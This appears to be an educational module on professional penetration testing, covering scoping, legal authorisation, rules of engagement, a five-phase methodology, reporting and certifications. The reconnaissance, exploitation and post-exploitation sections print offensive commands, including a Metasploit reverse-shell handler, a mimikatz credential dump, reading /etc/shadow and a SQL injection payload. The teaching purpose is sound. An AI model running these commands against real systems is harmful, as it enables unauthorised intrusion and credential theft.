Penetration Testing — Methodology, Scoping, and Legal Framework
The five-phase pentest methodology, rules of engagement, scoping, legal authorisation, report writing, and the ethical framework that separates professional testing from criminal hacking.
Penetration testing is the practice of simulating attacks against a system with explicit written permission from the owner, in order to identify vulnerabilities before malicious actors do. A penetration tester uses the same techniques and tools as an attacker — the only difference is authorisation. That difference is everything: it separates a six-figure security career from a federal computer crime conviction.
This module covers what professional penetration testing actually looks like — not just the hacking techniques, but the business context that makes it legal, repeatable, and valuable. You will learn how engagements are scoped and contracted, the five-phase methodology that structures every professional pentest, how findings are documented and communicated, and the certifications that validate your skills in the US job market.
Types of Penetration Tests
Not all penetration tests are the same. The scope, knowledge level provided to the tester, and objective vary significantly by engagement type:
| Type | What the tester knows | When to use | Realistic? |
|---|---|---|---|
| Black box | Nothing — same as an external attacker. No credentials, no docs, no source | Testing perimeter from an adversary perspective | Highest realism, misses internal logic issues |
| Grey box | Some info — credentials, architecture docs, or a user account | Internal application testing, authenticated endpoint review | Most common in industry — best ROI |
| White box | Full access — source code, credentials, architecture, runbooks | Code review combined with dynamic testing, compliance testing | Most thorough, finds logic flaws that black-box misses |
| Red team | None — multi-vector persistent campaign over weeks/months targeting detection evasion | Testing the detection and response capability of the security team | Closest to APT — tests people and processes, not just technology |
| Purple team | Full collaboration — red and blue team work together simultaneously | Building detection rules, tuning SIEM, training defenders | Not adversarial — focused on knowledge transfer |
The industry has largely shifted toward grey-box testing for most engagements. It produces more actionable findings per dollar than black-box (which can spend 80% of time on reconnaissance that the client already knows about) while being more realistic than white-box about what an attacker with a foothold can do.
The Legal Framework — Authorisation First, Everything Else Second
In the United States, the Computer Fraud and Abuse Act (CFAA) criminalises accessing a computer without authorisation or exceeding authorised access. The penalty for a first offence involving financial damage exceeds $250K and five years imprisonment. State laws stack on top. International operators face additional jurisdictions.
Professional penetration testing requires three documents before any work begins:
| Document | Purpose | Key contents |
|---|---|---|
| Statement of Work (SOW) | The contract defining deliverables and timeline | Scope, methodology, timeline, deliverables, cost, legal liability clauses |
| Rules of Engagement (RoE) | Operational constraints for the engagement | In-scope IPs/domains, excluded systems, allowed techniques, emergency stop contacts, working hours, data handling |
| Permission to Test letter | Explicit written authorisation signed by an executive | IP ranges authorised, test window, emergency contact, tester identity, escalation procedures |
The Rules of Engagement document is the most operationally important. It defines exactly what you are allowed to do and what will trigger an emergency stop. Common RoE clauses:
Rules of Engagement — Example Clauses IN-SCOPE: - IP ranges: 192.168.100.0/24, 10.50.0.0/16 - Domains: *.acmecorp.com, acmecorp.com - Applications: app.acmecorp.com, admin.acmecorp.com - Internal network access via provided VPN OUT-OF-SCOPE (do not test, do not touch): - Production database servers (192.168.100.50–192.168.100.60) - Third-party payment processor (payments.stripe.com) - Employee personal devices - Physical security (badge readers, cameras) - Social engineering of employees ALLOWED TECHNIQUES: - Network scanning, port scanning - Web application testing (OWASP Top 10) - Authenticated API testing - Password spraying (max 3 attempts per account per hour) - Privilege escalation on compromised hosts PROHIBITED TECHNIQUES: - Denial of service or load-generating attacks - Destructive actions (deleting files, dropping tables) - Accessing or exfiltrating real customer PII - Persistent backdoors surviving engagement end EMERGENCY STOP PROCEDURE: - If critical business impact detected: immediately stop all activity - Contact: Jane Smith (CISO) at +1-555-0100 or jane@acmecorp.com - Document last actions taken and provide immediately WORKING HOURS: - Business hours only: Mon–Fri 09:00–17:00 Eastern - After-hours testing requires 24hr advance notice and approval DATA HANDLING: - No client data to leave engagement environment - All findings encrypted at rest - Report delivered via encrypted email - Evidence deleted 30 days after final report acceptance
The Five-Phase Methodology
Professional penetration tests follow a consistent five-phase structure. Every phase has a defined goal, outputs, and handoff to the next phase. Skipping phases or treating them as optional produces incomplete results and unprofessional reports.
Phase 1 — Reconnaissance
Gather information about the target without touching it. Passive reconnaissance uses public sources — no packets sent to the target. Active reconnaissance involves direct interaction (DNS lookups, WHOIS, port scans).
Passive reconnaissance sources: WHOIS / RDAP — registrant info, nameservers, registration dates DNS records — A, MX, TXT, SRV, AAAA, NS — maps infrastructure Certificate transparency logs — crt.sh lists all TLS certs issued for a domain Shodan/Censys — internet-wide scan data, exposed services, banners LinkedIn — org chart, employee names, job titles, tech stack clues GitHub/GitLab — leaked credentials, internal tooling, architecture hints Google dorks — filetype:pdf site:target.com, intitle:"index of" site:target.com Wayback Machine — historical pages, old endpoints, removed content Active reconnaissance: nmap -sn 192.168.1.0/24 # host discovery (ping sweep) nmap -p- --open 192.168.1.10 # all ports on a single host dig ANY target.com # DNS record enumeration theHarvester -d target.com -b all # email, subdomain, host harvesting Goal: Build an asset inventory and understand the attack surface Output: IP ranges, domain list, employee names/emails, tech stack, potential entry points
Phase 2 — Scanning and Enumeration
Actively probe discovered targets to identify open services, versions, and configurations. This phase generates significant network traffic — it is detectable by a good blue team.
# Port scanning — identify open services nmap -sV -sC -p- -T4 192.168.1.10 # -sV: version detection # -sC: default scripts (banner grab, basic vuln checks) # -p-: all 65535 ports # -T4: aggressive timing (faster, noisier) # Service enumeration examples # Web: nikto -h http://192.168.1.10 # web server misconfigs, common files gobuster dir -u http://192.168.1.10 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt # SMB: nmap --script smb-enum-shares,smb-enum-users 192.168.1.10 enum4linux -a 192.168.1.10 # LDAP / Active Directory: ldapsearch -x -H ldap://192.168.1.10 -b "dc=corp,dc=local" # MySQL: nmap --script mysql-info,mysql-empty-password 192.168.1.10 -p 3306 # SSH: nmap --script ssh-auth-methods,ssh-hostkey 192.168.1.10 -p 22 Goal: For each service — identify exact version, default creds, misconfigs, potential CVEs Output: Vulnerability hypothesis list, attack vectors to test in phase 3
Phase 3 — Exploitation
Attempt to gain initial access by exploiting confirmed vulnerabilities. The goal is a foothold — a shell, a session, or a privileged API call — not destruction. Every action must be documented (timestamp, command, output) in real time.
Exploitation categories and examples: Network services: - Exploit unpatched services (Metasploit module for specific CVE) - Default or weak credentials (admin:admin, root:toor, service:service) - Anonymous/guest access to FTP, SMB, LDAP, Redis, MongoDB Web applications: - SQL injection via sqlmap or manual payload - XSS leading to session hijacking - File upload bypassing extension checks - IDOR on object identifiers - JWT manipulation (alg:none, weak secret) Authentication: - Password spraying against VPN, OWA, O365 - Credential stuffing with known breached passwords - Phishing (if social engineering is in scope) Client-side: - Malicious document delivery (if phishing in scope) - Browser exploit via hosted malicious page (lab environments) Metasploit workflow example: msfconsole use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.50.0.100 set LPORT 4444 run # After getting a shell: sysinfo # host info getuid # current user run post/multi/recon/local_exploit_suggester # privesc suggestions DOCUMENTATION RULE: Every command run → timestamp → output → screenshot. If you cannot prove it, it did not happen for the report.
Phase 4 — Post-Exploitation
Once a foothold is established, demonstrate the business impact: what data could be accessed, what lateral movement is possible, and whether domain or cloud admin can be reached. This phase proves impact, not just access.
Post-exploitation objectives: 1. Situational awareness whoami /all # Windows — user, groups, privileges id; hostname; uname -a # Linux — user, hostname, kernel ipconfig /all # Windows — network interfaces (pivot potential) netstat -ano # Windows — active connections 2. Privilege escalation # Windows: winPEAS.exe # automated PrivEsc scan PowerUp.ps1 # PowerShell PrivEsc checks # Linux: linpeas.sh # automated PrivEsc scan sudo -l # what can this user sudo? find / -perm -4000 2>/dev/null # SUID binaries 3. Credential harvesting # Windows: mimikatz.exe "sekurlsa::logonpasswords" # LSASS credentials # Linux: cat /etc/shadow # if root find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 4. Lateral movement evidence # Document which other hosts are reachable from this foothold # Demonstrate pivot potential — do NOT actually move to out-of-scope systems 5. Data exfiltration proof # Access a sensitive file, document its path and access method # Do NOT exfiltrate real PII — capture a screenshot of the file listing Goal: Business impact proof — "with this access, an attacker could..." Output: Documented attack path from initial access to highest-value asset reached
Phase 5 — Reporting
The report is the deliverable — the only thing the client keeps after the engagement ends. A technically excellent pentest with a poor report is a failed engagement. Reports have two audiences with different needs: executives who need risk context, and engineers who need precise technical details to remediate.
Professional pentest report structure:
EXECUTIVE SUMMARY (1–2 pages)
- Assessment scope and dates
- Overall risk rating (Critical/High/Medium/Low finding counts)
- Top 3 most impactful findings in plain language
- Business risk statement: "An attacker could access all customer financial data"
- Remediation priority recommendations
- NO technical jargon — this is for the CISO and board
METHODOLOGY (0.5 pages)
- Testing type (black/grey/white box)
- Phases conducted
- Tools used (high level)
- Limitations (out-of-scope items, time constraints)
FINDINGS (bulk of report — one section per finding)
Finding: SQL Injection in /api/search endpoint
┌─────────────────────────────────────────────────────┐
│ Severity: Critical (CVSS 9.8) │
│ CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H │
│ /I:H/A:H │
│ Affected URL: https://app.target.com/api/search │
│ Parameter: q │
└─────────────────────────────────────────────────────┘
Description:
The search endpoint constructs SQL queries using unsanitised user input.
Proof of concept:
Request: GET /api/search?q=' OR '1'='1
Response: 200 OK with all 12,847 user records returned
[Screenshot of response with PII redacted]
Impact:
Full database read access. Attacker can extract all user credentials,
payment tokens, and PII. With stacked queries, can modify or delete data.
Remediation:
Replace string concatenation with parameterised queries:
cursor.execute("SELECT * FROM products WHERE name = %s", (q,))
Estimated developer effort: 1 hour
References:
CWE-89: SQL Injection
OWASP Top 10 A03:2021 - Injection
REMEDIATION SUMMARY TABLE
Finding | Severity | Effort | Owner | Due Date
APPENDIX
- Full tool output logs
- Raw scan data
- Evidence screenshotsVulnerability Severity Rating
Every finding must be rated consistently. Most firms use CVSS 3.1 as the baseline and apply contextual adjustments for the specific client environment. A critical CVSS score on a development server with no sensitive data becomes a medium in context. A medium CVSS score on the authentication system protecting all customer data becomes a critical in context.
| Rating | CVSS range | Characteristics | Typical remediation SLA |
|---|---|---|---|
| Critical | 9.0–10.0 | Unauthenticated RCE, SQLi with full DB access, credential dump | 24–48 hours |
| High | 7.0–8.9 | Authenticated RCE, IDOR accessing all records, privilege escalation to admin | 7 days |
| Medium | 4.0–6.9 | Stored XSS, CSRF on sensitive action, information disclosure | 30 days |
| Low | 0.1–3.9 | Reflected XSS, missing security headers, verbose errors | 90 days |
| Informational | N/A | Best practice deviations, hardening opportunities, not directly exploitable | No SLA |
Pentest Certifications That Matter in the US Job Market
Penetration testing roles almost universally require or prefer certifications. The US market has settled on a clear hierarchy:
| Certification | Issuer | Format | Market value |
|---|---|---|---|
| OSCP (Offensive Security Certified Professional) | Offensive Security | 24hr practical exam — get shells on 5 machines | Gold standard for pentest roles. Required or preferred in most US job postings |
| CEH (Certified Ethical Hacker) | EC-Council | Multiple choice exam | Widely listed in job postings but dismissed by practitioners — better than nothing for HR filters |
| PNPT (Practical Network Penetration Tester) | TCM Security | 5-day practical exam with report | Highly respected for entry-level, cheaper than OSCP, good bridge cert |
| eJPT (eLearnSecurity Junior Penetration Tester) | INE Security | Practical lab exam | Good starter cert — no prior experience required |
| GPEN / GWAPT | SANS / GIAC | Multiple choice + practical | Respected, expensive (~$8K with training), preferred in government/DoD |
| OSEP / OSED | Offensive Security | Advanced practical exam | For experienced pentesters — evasion and exploit development focus |
The recommended path for a US-market career in penetration testing: eJPT → PNPT → OSCP. Each builds skills required by the next. OSCP opens most senior pentest doors and provides a 20–30% salary premium over non-certified candidates.
Workplace Scenario — A Fortune 500 External Pentest
A financial services firm hires a penetration testing firm for a two-week external black-box assessment of its public-facing infrastructure. Scope: all IPs and domains registered to the company. Budget: $25,000.
Day 1–2 (Reconnaissance): Testers enumerate 847 subdomains via certificate transparency logs and DNS brute force. They identify 23 servers running outdated software via Shodan, find an internal Confluence wiki inadvertently exposed via a misconfigured firewall rule, and discover employee email addresses on LinkedIn that match a breached credential dump from 2022.
Day 3–5 (Scanning and Enumeration): Systematic port scanning identifies a publicly accessible Jenkins server (TCP 8080) and a forgotten dev environment at dev-old.corp.example.com running Apache 2.4.49 — vulnerable to CVE-2021-41773 (path traversal + RCE, CVSS 9.8).
Day 6–8 (Exploitation): The Apache CVE is confirmed exploitable — remote code execution without authentication. The testers get a shell as the www-data user. Separately, credential stuffing with the 2022 leaked credentials succeeds on two employee VPN accounts (the employees reused passwords).
Day 9–10 (Post-Exploitation): From the Apache shell, internal network access reveals a backup S3 bucket accessible from the server's IAM role — containing 11 months of encrypted database backups. The VPN account pivot reaches the internal employee portal but hits MFA, containing the breach path.
Day 11–12 (Reporting): The team documents 3 critical, 7 high, 12 medium, and 18 low/informational findings. The executive summary: "An unauthenticated attacker could gain remote code execution on your public web server and access encrypted database backups. Two employee VPN accounts are compromised using publicly available breach data." The client immediately patches the Apache server, rotates the IAM credentials, and enforces MFA on VPN — all before the final report is delivered.
Interview Questions — Penetration Testing Methodology
Common Mistakes — Penetration Testing
🎯 Key Takeaways
- ✓A penetration test requires explicit written authorisation before any work begins. The CFAA makes unauthorised computer access a federal crime — verbal permission is not a legal defence.
- ✓The three required documents are: Statement of Work (contract), Rules of Engagement (operational constraints), and a signed permission-to-test letter from an executive with authority over the target systems.
- ✓The five phases are: Reconnaissance → Scanning and Enumeration → Exploitation → Post-Exploitation → Reporting. Skipping phases produces incomplete results.
- ✓Grey-box testing (some knowledge provided) produces the best ROI for most engagements — it spends time on finding vulnerabilities, not rediscovering publicly known information.
- ✓Every action during a pentest must be documented in real time: timestamp, command, output, screenshot. Without documentation, the finding cannot be reported.
- ✓The penetration test report has two audiences: executives need risk context in plain language; engineers need precise technical detail to remediate. Both sections are required.
- ✓Each finding requires a proof of concept — a reproducible demonstration of exploitation. Theoretical findings from automated scanners without manual verification have no place in a professional report.
- ✓Scope is defined by the signed RoE document. Systems not listed in scope are off-limits regardless of how related they appear. Exceeding scope is a crime.
- ✓The recommended US-market certification path is eJPT → PNPT → OSCP. OSCP is the gold standard and is required or preferred by most professional penetration testing firms.
- ✓The most impactful pentest findings are usually the same things real attackers find on day one: unpatched CVEs on internet-facing services, reused credentials from breach data, and misconfigured cloud storage.
Discussion
0Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.